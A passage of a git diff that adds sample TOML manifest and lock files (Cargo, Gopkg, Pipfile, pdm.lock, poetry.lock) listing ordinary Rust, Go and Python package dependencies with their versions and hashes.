+"checksum winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
diff --git a/samples/TOML/filenames/Cargo.toml.orig b/samples/TOML/filenames/Cargo.toml.orig
new file mode 100644
index 0000000000..9a23a188d8
--- /dev/null
+++ b/samples/TOML/filenames/Cargo.toml.orig
@@ -0,0 +1,24 @@
+
+[package]
+name = "windows-core"
+version = "0.51.1"
+authors = ["Microsoft"]
+edition = "2021"
+license = "MIT OR Apache-2.0"
+description = "Rust for Windows"
+repository = "https://github.com/microsoft/windows-rs"
+readme = "../../../docs/readme.md"
+rust-version = "1.56"
+categories = ["os::windows-apis"]
+
+[package.metadata.docs.rs]
+default-target = "x86_64-pc-windows-msvc"
+targets = []
+
+[dependencies.windows-targets]
+version = "0.48.3"
+path = "../targets"
+
+[features]
+default = []
+implement = []
diff --git a/samples/TOML/filenames/Gopkg.lock b/samples/TOML/filenames/Gopkg.lock
new file mode 100644
index 0000000000..ca9cc3ad91
--- /dev/null
+++ b/samples/TOML/filenames/Gopkg.lock
@@ -0,0 +1,21 @@
+# This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'.
+
+
+[[projects]]
+  branch = "master"
+  name = "golang.org/x/net"
+  packages = ["context"]
+  revision = "2491c5de3490fced2f6cff376127c667efeed857"
+
+[[projects]]
+  branch = "v2"
+  name = "gopkg.in/tomb.v2"
+  packages = ["."]
+  revision = "d5d1b5820637886def9eef33e03a27a9f166942c"
+
+[solve-meta]
+  analyzer-name = "dep"
+  analyzer-version = 1
+  inputs-digest = "841a246fc6ac2a2ccb2ae3907a0ff3432f13e3fc44bb3c09388b0c931ef7d641"
+  solver-name = "gps-cdcl"
+  solver-version = 1
diff --git a/samples/TOML/filenames/Pipfile b/samples/TOML/filenames/Pipfile
new file mode 100644
index 0000000000..9b4c603023
--- /dev/null
+++ b/samples/TOML/filenames/Pipfile
@@ -0,0 +1,13 @@
+[[source]]
+url = "https://pypi.org/simple"
+verify_ssl = true
+name = "pypi"
+
+[packages]
+requests = "*"
+pyyaml = "*"
+
+[dev-packages]
+
+[requires]
+python_version = "3.9"
diff --git a/samples/TOML/filenames/pdm.lock b/samples/TOML/filenames/pdm.lock
new file mode 100644
index 0000000000..2a2253a344
--- /dev/null
+++ b/samples/TOML/filenames/pdm.lock
@@ -0,0 +1,109 @@
+[[package]]
+name = "certifi"
+version = "2022.9.24"
+requires_python = ">=3.6"
+summary = "Python package for providing Mozilla's CA Bundle."
+
+[[package]]
+name = "charset-normalizer"
+version = "2.1.1"
+requires_python = ">=3.6.0"
+summary = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
+
+[[package]]
+name = "idna"
+version = "3.4"
+requires_python = ">=3.5"
+summary = "Internationalized Domain Names in Applications (IDNA)"
+
+[[package]]
+name = "pyyaml"
+version = "6.0"
+requires_python = ">=3.6"
+summary = "YAML parser and emitter for Python"
+
+[[package]]
+name = "requests"
+version = "2.28.1"
+requires_python = ">=3.7, <4"
+summary = "Python HTTP for Humans."
+dependencies = [
+    "certifi>=2017.4.17",
+    "charset-normalizer<3,>=2",
+    "idna<4,>=2.5",
+    "urllib3<1.27,>=1.21.1",
+]
+
+[[package]]
+name = "urllib3"
+version = "1.26.12"
+requires_python = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*, <4"
+summary = "HTTP library with thread-safe connection pooling, file post, and more."
+
+[metadata]
+lock_version = "4.0"
+content_hash = "sha256:f2970c4fad28d0590e7a35b8f9901629325458f2b5df66e30b7cffa3a2003aba"
+
+[metadata.files]
+"certifi 2022.9.24" = [
+    {url = "https://files.pythonhosted.org/packages/1d/38/fa96a426e0c0e68aabc68e896584b83ad1eec779265a028e156ce509630e/certifi-2022.9.24-py3-none-any.whl", hash = "sha256:90c1a32f1d68f940488354e36370f6cca89f0f106db09518524c88d6ed83f382"},
+    {url = "https://files.pythonhosted.org/packages/cb/a4/7de7cd59e429bd0ee6521ba58a75adaec136d32f91a761b28a11d8088d44/certifi-2022.9.24.tar.gz", hash = "sha256:0d9c601124e5a6ba9712dbc60d9c53c21e34f5f641fe83002317394311bdce14"},
+]
+"charset-normalizer 2.1.1" = [
+    {url = "https://files.pythonhosted.org/packages/a1/34/44964211e5410b051e4b8d2869c470ae8a68ae274953b1c7de6d98bbcf94/charset-normalizer-2.1.1.tar.gz", hash = "sha256:5a3d016c7c547f69d6f81fb0db9449ce888b418b5b9952cc5e6e66843e9dd845"},
+    {url = "https://files.pythonhosted.org/packages/db/51/a507c856293ab05cdc1db77ff4bc1268ddd39f29e7dc4919aa497f0adbec/charset_normalizer-2.1.1-py3-none-any.whl", hash = "sha256:83e9a75d1911279afd89352c68b45348559d1fc0506b054b346651b5e7fee29f"},
+]
+"idna 3.4" = [
+    {url = "https://files.pythonhosted.org/packages/8b/e1/43beb3d38dba6cb420cefa297822eac205a277ab43e5ba5d5c46faf96438/idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"},
+    {url = "https://files.pythonhosted.org/packages/fc/34/3030de6f1370931b9dbb4dad48f6ab1015ab1d32447850b9fc94e60097be/idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"},
+]
+"pyyaml 6.0" = [
+    {url = "https://files.pythonhosted.org/packages/02/25/6ba9f6bb50a3d4fbe22c1a02554dc670682a07c8701d1716d19ddea2c940/PyYAML-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f84fbc98b019fef2ee9a1cb3ce93e3187a6df0b2538a651bfb890254ba9f90b5"},
+    {url = "https://files.pythonhosted.org/packages/08/f4/ffa743f860f34a5e8c60abaaa686f82c9ac7a2b50e5a1c3b1eb564d59159/PyYAML-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:b3d267842bf12586ba6c734f89d1f5b871df0273157918b0ccefa29deb05c21c"},
+    {url = "https://files.pythonhosted.org/packages/0f/93/5f81d1925ce3b531f5ff215376445ec220887cd1c9a8bde23759554dbdfd/PyYAML-6.0-cp310-cp310-win32.whl", hash = "sha256:2cd5df3de48857ed0544b34e2d40e9fac445930039f3cfe4bcc592a1f836d513"},
+    {url = "https://files.pythonhosted.org/packages/12/fc/a4d5a7554e0067677823f7265cb3ae22aed8a238560b5133b58cda252dad/PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:40527857252b61eacd1d9af500c3337ba8deb8fc298940291486c465c8b46ec0"},
+    {url = "https://files.pythonhosted.org/packages/21/67/b42191239c5650c9e419c4a08a7a022bbf1abf55b0391c380a72c3af5462/PyYAML-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d67d839ede4ed1b28a4e8909735fc992a923cdb84e618544973d7dfc71540803"},
+    {url = "https://files.pythonhosted.org/packages/2e/b3/13dfd4eeb5e4b2d686b6d1822b40702e991bf3a4194ca5cbcce8d43749db/PyYAML-6.0-cp39-cp39-win32.whl", hash = "sha256:b5b9eccad747aabaaffbc6064800670f0c297e52c12754eb1d976c57e4f74dcb"},
+    {url = "https://files.pythonhosted.org/packages/36/2b/61d51a2c4f25ef062ae3f74576b01638bebad5e045f747ff12643df63844/PyYAML-6.0.tar.gz", hash = "sha256:68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"},
+    {url = "https://files.pythonhosted.org/packages/44/e5/4fea13230bcebf24b28c0efd774a2dd65a0937a2d39e94a4503438b078ed/PyYAML-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d4db7c7aef085872ef65a8fd7d6d09a14ae91f691dec3e87ee5ee0539d516f53"},
+    {url = "https://files.pythonhosted.org/packages/4d/7d/c2ab8da648cd2b937de11fb35649b127adab4851cbeaf5fd9b60a2dab0f7/PyYAML-6.0-cp36-cp36m-win32.whl", hash = "sha256:0283c35a6a9fbf047493e3a0ce8d79ef5030852c51e9d911a27badfde0605293"},
+    {url = "https://files.pythonhosted.org/packages/55/e3/507a92589994a5b3c3d7f2a7a066339d6ff61c5c839bae56f7eff03d9c7b/PyYAML-6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:897b80890765f037df3403d22bab41627ca8811ae55e9a722fd0392850ec4d86"},
+    {url = "https://files.pythonhosted.org/packages/56/8f/e8b49ad21d26111493dc2d5cae4d7efbd0e2e065440665f5023515f87f64/PyYAML-6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432557aa2c09802be39460360ddffd48156e30721f5e8d917f01d31694216782"},
+    {url = "https://files.pythonhosted.org/packages/59/00/30e33fcd2a4562cd40c49c7740881009240c5cbbc0e41ca79ca4bba7c24b/PyYAML-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:01b45c0191e6d66c470b6cf1b9531a771a83c1c4208272ead47a3ae4f2f603bf"},
+    {url = "https://files.pythonhosted.org/packages/5e/f4/7b4bb01873be78fc9fde307f38f62e380b7111862c165372cf094ca2b093/PyYAML-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77f396e6ef4c73fdc33a9157446466f1cff553d979bd00ecb64385760c6babdc"},
+    {url = "https://files.pythonhosted.org/packages/63/6b/f5dc7942bac17192f4ef00b2d0cdd1ae45eea453d05c1944c0573debe945/PyYAML-6.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fa600030013c4de8165339db93d182b9431076eb98eb40ee068700c9c813e34"},
+    {url = "https://files.pythonhosted.org/packages/67/d4/b95266228a25ef5bd70984c08b4efce2c035a4baa5ccafa827b266e3dc36/PyYAML-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e61ceaab6f49fb8bdfaa0f92c4b57bcfbea54c09277b1b4f7ac376bfb7a7c174"},
+    {url = "https://files.pythonhosted.org/packages/68/3f/c027422e49433239267c62323fbc6320d6ac8d7d50cf0cb2a376260dad5f/PyYAML-6.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbad0e9d368bb989f4515da330b88a057617d16b6a8245084f1b05400f24609f"},
+    {url = "https://files.pythonhosted.org/packages/6c/3d/524c642f3db37e7e7ab8d13a3f8b0c72d04a619abc19100097d987378fc6/PyYAML-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:213c60cd50106436cc818accf5baa1aba61c0189ff610f64f4a3e8c6726218ba"},
+    {url = "https://files.pythonhosted.org/packages/74/68/3c13deaa496c14a030c431b7b828d6b343f79eb241b4848c7918091a64a2/PyYAML-6.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48c346915c114f5fdb3ead70312bd042a953a8ce5c7106d5bfb1a5254e47da92"},
+    {url = "https://files.pythonhosted.org/packages/77/da/e845437ffe0dffae4e7562faf23a4f264d886431c5d2a2816c853288dc8e/PyYAML-6.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cba8c411ef271aa037d7357a2bc8f9ee8b58b9965831d9e51baf703280dc73d3"},
+    {url = "https://files.pythonhosted.org/packages/7f/d9/6a0d14ac8d3b5605dc925d177c1d21ee9f0b7b39287799db1e50d197b2f4/PyYAML-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afa17f5bc4d1b10afd4466fd3a44dc0e245382deca5b3c353d8b757f9e3ecb8d"},
+    {url = "https://files.pythonhosted.org/packages/81/59/561f7e46916b78f3c4cab8d0c307c81656f11e32c846c0c97fda0019ed76/PyYAML-6.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ce82d761c532fe4ec3f87fc45688bdd3a4c1dc5e0b4a19814b9009a29baefd4"},
+    {url = "https://files.pythonhosted.org/packages/89/26/0bfd7b756b34c68f8fd158b7bc762b6b1705fc1b3cebf4cdbb53fd9ea75b/PyYAML-6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:07751360502caac1c067a8132d150cf3d61339af5691fe9e87803040dbc5db57"},
+    {url = "https://files.pythonhosted.org/packages/91/49/d46d7b15cddfa98533e89f3832f391aedf7e31f37b4d4df3a7a7855a7073/PyYAML-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9df7ed3b3d2e0ecfe09e14741b857df43adb5a3ddadc919a2d94fbdf78fea53c"},
+    {url = "https://files.pythonhosted.org/packages/9d/f6/7e91fbb58c9ee528759aea5892e062cccb426720c5830ddcce92eba00ff1/PyYAML-6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:819b3830a1543db06c4d4b865e70ded25be52a2e0631ccd2f6a47a2822f2fd7c"},
+    {url = "https://files.pythonhosted.org/packages/a4/ba/e508fc780e3c94c12753a54fe8f74de535741a10d33b29a576a9bec03500/PyYAML-6.0-cp38-cp38-win32.whl", hash = "sha256:d4eccecf9adf6fbcc6861a38015c2a64f38b9d94838ac1810a9023a0609e1b78"},
+    {url = "https://files.pythonhosted.org/packages/a4/e6/4d7a01bc0730c8f958a62d6a4c4f3df23b6139ad68c132b168970d84f192/PyYAML-6.0-cp37-cp37m-win32.whl", hash = "sha256:c5687b8d43cf58545ade1fe3e055f70eac7a5a1a0bf42824308d868289a95737"},
+    {url = "https://files.pythonhosted.org/packages/a8/32/1bbe38477fb23f1d83041fefeabf93ef1cd6f0efcf44c221519507315d92/PyYAML-6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50602afada6d6cbfad699b0c7bb50d5ccffa7e46a3d738092afddc1f9758427f"},
+    {url = "https://files.pythonhosted.org/packages/a8/5b/c4d674846ea4b07ee239fbf6010bcc427c4e4552ba5655b446e36b9a40a7/PyYAML-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:1e4747bc279b4f613a09eb64bba2ba602d8a6664c6ce6396a4d0cd413a50ce07"},
+    {url = "https://files.pythonhosted.org/packages/b3/85/79b9e5b4e8d3c0ac657f4e8617713cca8408f6cdc65d2ee6554217cedff1/PyYAML-6.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:98c4d36e99714e55cfbaaee6dd5badbc9a1ec339ebfc3b1f52e293aee6bb71a4"},
+    {url = "https://files.pythonhosted.org/packages/b7/09/2f6f4851bbca08642fef087bade095edc3c47f28d1e7bff6b20de5262a77/PyYAML-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:daf496c58a8c52083df09b80c860005194014c3698698d1a57cbcfa182142a3a"},
+    {url = "https://files.pythonhosted.org/packages/cb/5f/05dd91f5046e2256e35d885f3b8f0f280148568f08e1bf20421887523e9a/PyYAML-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:81957921f441d50af23654aa6c5e5eaf9b06aba7f0a19c18a538dc7ef291c5a1"},
+    {url = "https://files.pythonhosted.org/packages/d1/c0/4fe04181b0210ee2647cfbb89ecd10a36eef89f10d8aca6a192c201bbe58/PyYAML-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:d15a181d1ecd0d4270dc32edb46f7cb7733c7c508857278d3d378d14d606db2d"},
+    {url = "https://files.pythonhosted.org/packages/d7/42/7ad4b6d67a16229496d4f6e74201bdbebcf4bc1e87d5a70c9297d4961bd2/PyYAML-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:277a0ef2981ca40581a47093e9e2d13b3f1fbbeffae064c1d21bfceba2030287"},
+    {url = "https://files.pythonhosted.org/packages/db/4e/74bc723f2d22677387ab90cd9139e62874d14211be7172ed8c9f9a7c81a9/PyYAML-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0b4624f379dab24d3725ffde76559cff63d9ec94e1736b556dacdfebe5ab6d4b"},
+    {url = "https://files.pythonhosted.org/packages/df/75/ee0565bbf65133e5b6ffa154db43544af96ea4c42439e6b58c1e0eb44b4e/PyYAML-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:473f9edb243cb1935ab5a084eb238d842fb8f404ed2193a915d1784b5a6b5fc0"},
+    {url = "https://files.pythonhosted.org/packages/eb/5f/6e6fe6904e1a9c67bc2ca5629a69e7a5a0b17f079da838bab98a1e548b25/PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:231710d57adfd809ef5d34183b8ed1eeae3f76459c18fb4a0b373ad56bedcdd9"},
+    {url = "https://files.pythonhosted.org/packages/ef/ad/b443cce94539e57e1a745a845f95c100ad7b97593d7e104051e43f730ecd/PyYAML-6.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a80a78046a72361de73f8f395f1f1e49f956c6be882eed58505a15f3e430962b"},
+    {url = "https://files.pythonhosted.org/packages/f5/6f/b8b4515346af7c33d3b07cd8ca8ea0700ca72e8d7a750b2b87ac0268ca4e/PyYAML-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:055d937d65826939cb044fc8c9b08889e8c743fdc6a32b33e2390f66013e449b"},
+    {url = "https://files.pythonhosted.org/packages/f8/54/799b059314b13e1063473f76e908f44106014d18f54b16c83a16edccd5ec/PyYAML-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d4b0ba9512519522b118090257be113b9468d804b19d63c71dbcf4a48fa32358"},
+    {url = "https://files.pythonhosted.org/packages/fc/48/531ecd926fe0a374346dd811bf1eda59a95583595bb80eadad511f3269b8/PyYAML-6.0-cp311-cp311-win32.whl", hash = "sha256:bfaef573a63ba8923503d27530362590ff4f576c626d86a9fed95822a8255fd7"},
+]
+"requests 2.28.1" = [
+    {url = "https://files.pythonhosted.org/packages/a5/61/a867851fd5ab77277495a8709ddda0861b28163c4613b011bc00228cc724/requests-2.28.1.tar.gz", hash = "sha256:7c5599b102feddaa661c826c56ab4fee28bfd17f5abca1ebbe3e7f19d7c97983"},
+    {url = "https://files.pythonhosted.org/packages/ca/91/6d9b8ccacd0412c08820f72cebaa4f0c0441b5cda699c90f618b6f8a1b42/requests-2.28.1-py3-none-any.whl", hash = "sha256:8fefa2a1a1365bf5520aac41836fbee479da67864514bdb821f31ce07ce65349"},
+]
+"urllib3 1.26.12" = [
+    {url = "https://files.pythonhosted.org/packages/6f/de/5be2e3eed8426f871b170663333a0f627fc2924cc386cd41be065e7ea870/urllib3-1.26.12-py2.py3-none-any.whl", hash = "sha256:b930dd878d5a8afb066a637fbb35144fe7901e3b209d1cd4f524bd0e9deee997"},
+    {url = "https://files.pythonhosted.org/packages/b2/56/d87d6d3c4121c0bcec116919350ca05dc3afd2eeb7dc88d07e8083f8ea94/urllib3-1.26.12.tar.gz", hash = "sha256:3fa96cf423e6987997fc326ae8df396db2a8b7c667747d47ddd8ecba91f4a74e"},
+]
diff --git a/samples/TOML/filenames/poetry.lock b/samples/TOML/filenames/poetry.lock
new file mode 100644
index 0000000000..8d423ed68f
--- /dev/null
+++ b/samples/TOML/filenames/poetry.lock
@@ -0,0 +1,2374 @@
+[[package]]
+category = "dev"
+description = "A small Python module for determining appropriate platform-specific dirs, e.g. a \"user data dir\"."
+name = "appdirs"
+optional = false
+python-versions = "*"
+version = "1.4.4"
+
+[[package]]
+category = "dev"
+description = "A few extensions to pyyaml."
+name = "aspy.yaml"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "1.3.0"
+
+[package.dependencies]
+pyyaml = "*"
+
+[[package]]
+category = "dev"
+description = "Atomic file writes."
+marker = "python_version >= \"3.5\" and sys_platform == \"win32\" or python_version < \"3.5\""
+name = "atomicwrites"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "1.4.0"
+
+[[package]]
+category = "main"
+description = "Classes Without Boilerplate"
+name = "attrs"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "19.3.0"
+
+[package.extras]
+azure-pipelines = ["coverage", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "zope.interface", "pytest-azurepipelines"]
+dev = ["coverage", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "zope.interface", "sphinx", "pre-commit"]
+docs = ["sphinx", "zope.interface"]
+tests = ["coverage", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "zope.interface"]
+
+[[package]]
+category = "dev"
+description = "Backport of functools.lru_cache"
+marker = "python_version < \"3.2\""
+name = "backports.functools-lru-cache"
+optional = false
+python-versions = ">=2.6"
+version = "1.6.1"
+
+[package.extras]
+docs = ["sphinx", "jaraco.packaging (>=3.2)", "rst.linker (>=1.9)"]
+testing = ["pytest (>=3.5,<3.7.3 || >3.7.3)", "pytest-checkdocs (>=1.2.3)", "pytest-flake8", "pytest-black-multipy", "pytest-cov"]
+
+[[package]]
+category = "dev"
+description = "The uncompromising code formatter."
+marker = "python_version >= \"3.6\" and python_version < \"4.0\""
+name = "black"
+optional = false
+python-versions = ">=3.6"
+version = "19.10b0"
+
+[package.dependencies]
+appdirs = "*"
+attrs = ">=18.1.0"
+click = ">=6.5"
+pathspec = ">=0.6,<1"
+regex = "*"
+toml = ">=0.9.4"
+typed-ast = ">=1.4.0"
+
+[package.extras]
+d = ["aiohttp (>=3.3.2)", "aiohttp-cors"]
+
+[[package]]
+category = "main"
+description = "httplib2 caching for requests"
+name = "cachecontrol"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "0.12.6"
+
+[package.dependencies]
+msgpack = ">=0.5.2"
+requests = "*"
+
+[package.dependencies.lockfile]
+optional = true
+version = ">=0.9"
+
+[package.extras]
+filecache = ["lockfile (>=0.9)"]
+redis = ["redis (>=2.10.5)"]
+
+[[package]]
+category = "main"
+description = "Cachy provides a simple yet effective caching library."
+name = "cachy"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "0.3.0"
+
+[package.extras]
+memcached = ["python-memcached (>=1.59,<2.0)"]
+msgpack = ["msgpack-python (>=0.5,<0.6)"]
+redis = ["redis (>=3.3.6,<4.0.0)"]
+
+[[package]]
+category = "main"
+description = "Python package for providing Mozilla's CA Bundle."
+name = "certifi"
+optional = false
+python-versions = "*"
+version = "2020.4.5.1"
+
+[[package]]
+category = "main"
+description = "Foreign Function Interface for Python calling C code."
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" and (sys_platform == \"linux2\" or sys_platform == \"linux\") or python_version >= \"3.4\" and python_version < \"3.5\" and (sys_platform == \"linux2\" or sys_platform == \"linux\") or python_version >= \"3.5\" and python_version < \"4.0\" and sys_platform == \"linux\""
+name = "cffi"
+optional = false
+python-versions = "*"
+version = "1.14.0"
+
+[package.dependencies]
+pycparser = "*"
+
+[[package]]
+category = "dev"
+description = "Validate configuration and produce human readable error messages."
+name = "cfgv"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "2.0.1"
+
+[package.dependencies]
+six = "*"
+
+[[package]]
+category = "main"
+description = "Universal encoding detector for Python 2 and 3"
+name = "chardet"
+optional = false
+python-versions = "*"
+version = "3.0.4"
+
+[[package]]
+category = "main"
+description = "Cleo allows you to create beautiful and testable command-line interfaces."
+name = "cleo"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "0.7.6"
+
+[package.dependencies]
+clikit = ">=0.4.0,<0.5.0"
+
+[[package]]
+category = "dev"
+description = "Composable command line interface toolkit"
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\" or python_version >= \"3.6\" and python_version < \"4.0\""
+name = "click"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+version = "7.1.2"
+
+[[package]]
+category = "dev"
+description = "Composable command line interface toolkit"
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "click"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "7.0"
+
+[[package]]
+category = "main"
+description = "CliKit is a group of utilities to build beautiful and testable command line interfaces."
+name = "clikit"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "0.4.3"
+
+[package.dependencies]
+pastel = ">=0.2.0,<0.3.0"
+pylev = ">=1.3,<2.0"
+
+[package.dependencies.enum34]
+python = ">=2.7,<2.8"
+version = ">=1.1,<2.0"
+
+[package.dependencies.typing]
+python = ">=2.7,<2.8 || >=3.4,<3.5"
+version = ">=3.6,<4.0"
+
+[package.dependencies.typing-extensions]
+python = ">=3.5.0,<3.5.4"
+version = ">=3.6,<4.0"
+
+[[package]]
+category = "dev"
+description = "Cross-platform colored terminal text."
+marker = "sys_platform == \"win32\" and python_version == \"3.4\""
+name = "colorama"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "0.4.1"
+
+[[package]]
+category = "dev"
+description = "Cross-platform colored terminal text."
+marker = "sys_platform == \"win32\" and python_version != \"3.4\" and python_version < \"3.5\" or platform_system == \"Windows\" or python_version >= \"3.5\" and sys_platform == \"win32\""
+name = "colorama"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+version = "0.4.3"
+
+[[package]]
+category = "main"
+description = "Updated configparser from Python 3.7 for Python 2.6+."
+marker = "python_version == \"2.7\" and python_version == \"2.7\" or python_version < \"3\""
+name = "configparser"
+optional = false
+python-versions = ">=2.6"
+version = "4.0.2"
+
+[package.extras]
+docs = ["sphinx", "jaraco.packaging (>=3.2)", "rst.linker (>=1.9)"]
+testing = ["pytest (>=3.5,<3.7.3 || >3.7.3)", "pytest-checkdocs (>=1.2)", "pytest-flake8", "pytest-black-multipy"]
+
+[[package]]
+category = "main"
+description = "Backports and enhancements for the contextlib module"
+marker = "python_version < \"3.4\""
+name = "contextlib2"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "0.6.0.post1"
+
+[[package]]
+category = "dev"
+description = "Code coverage measurement for Python"
+name = "coverage"
+optional = false
+python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*, <4"
+version = "4.5.4"
+
+[[package]]
+category = "dev"
+description = "Code coverage measurement for Python"
+name = "coverage"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, <4"
+version = "5.1"
+
+[package.extras]
+toml = ["toml"]
+
+[[package]]
+category = "main"
+description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers."
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" and (sys_platform == \"linux2\" or sys_platform == \"linux\") or python_version >= \"3.4\" and python_version < \"3.5\" and (sys_platform == \"linux2\" or sys_platform == \"linux\")"
+name = "cryptography"
+optional = false
+python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*"
+version = "2.8"
+
+[package.dependencies]
+cffi = ">=1.8,<1.11.3 || >1.11.3"
+six = ">=1.4.1"
+
+[package.extras]
+docs = ["sphinx (>=1.6.5,<1.8.0 || >1.8.0)", "sphinx-rtd-theme"]
+docstest = ["doc8", "pyenchant (>=1.6.11)", "twine (>=1.12.0)", "sphinxcontrib-spelling (>=4.0.1)"]
+idna = ["idna (>=2.1)"]
+pep8test = ["flake8", "flake8-import-order", "pep8-naming"]
+test = ["pytest (>=3.6.0,<3.9.0 || >3.9.0,<3.9.1 || >3.9.1,<3.9.2 || >3.9.2)", "pretend", "iso8601", "pytz", "hypothesis (>=1.11.4,<3.79.2 || >3.79.2)"]
+
+[[package]]
+category = "main"
+description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers."
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" and (sys_platform == \"linux2\" or sys_platform == \"linux\") or python_version >= \"3.4\" and python_version < \"3.5\" and (sys_platform == \"linux2\" or sys_platform == \"linux\") or python_version >= \"3.5\" and python_version < \"4.0\" and sys_platform == \"linux\""
+name = "cryptography"
+optional = false
+python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*"
+version = "2.9.2"
+
+[package.dependencies]
+cffi = ">=1.8,<1.11.3 || >1.11.3"
+six = ">=1.4.1"
+
+[package.dependencies.enum34]
+python = "<3"
+version = "*"
+
+[package.dependencies.ipaddress]
+python = "<3"
+version = "*"
+
+[package.extras]
+docs = ["sphinx (>=1.6.5,<1.8.0 || >1.8.0)", "sphinx-rtd-theme"]
+docstest = ["doc8", "pyenchant (>=1.6.11)", "twine (>=1.12.0)", "sphinxcontrib-spelling (>=4.0.1)"]
+idna = ["idna (>=2.1)"]
+pep8test = ["flake8", "flake8-import-order", "pep8-naming"]
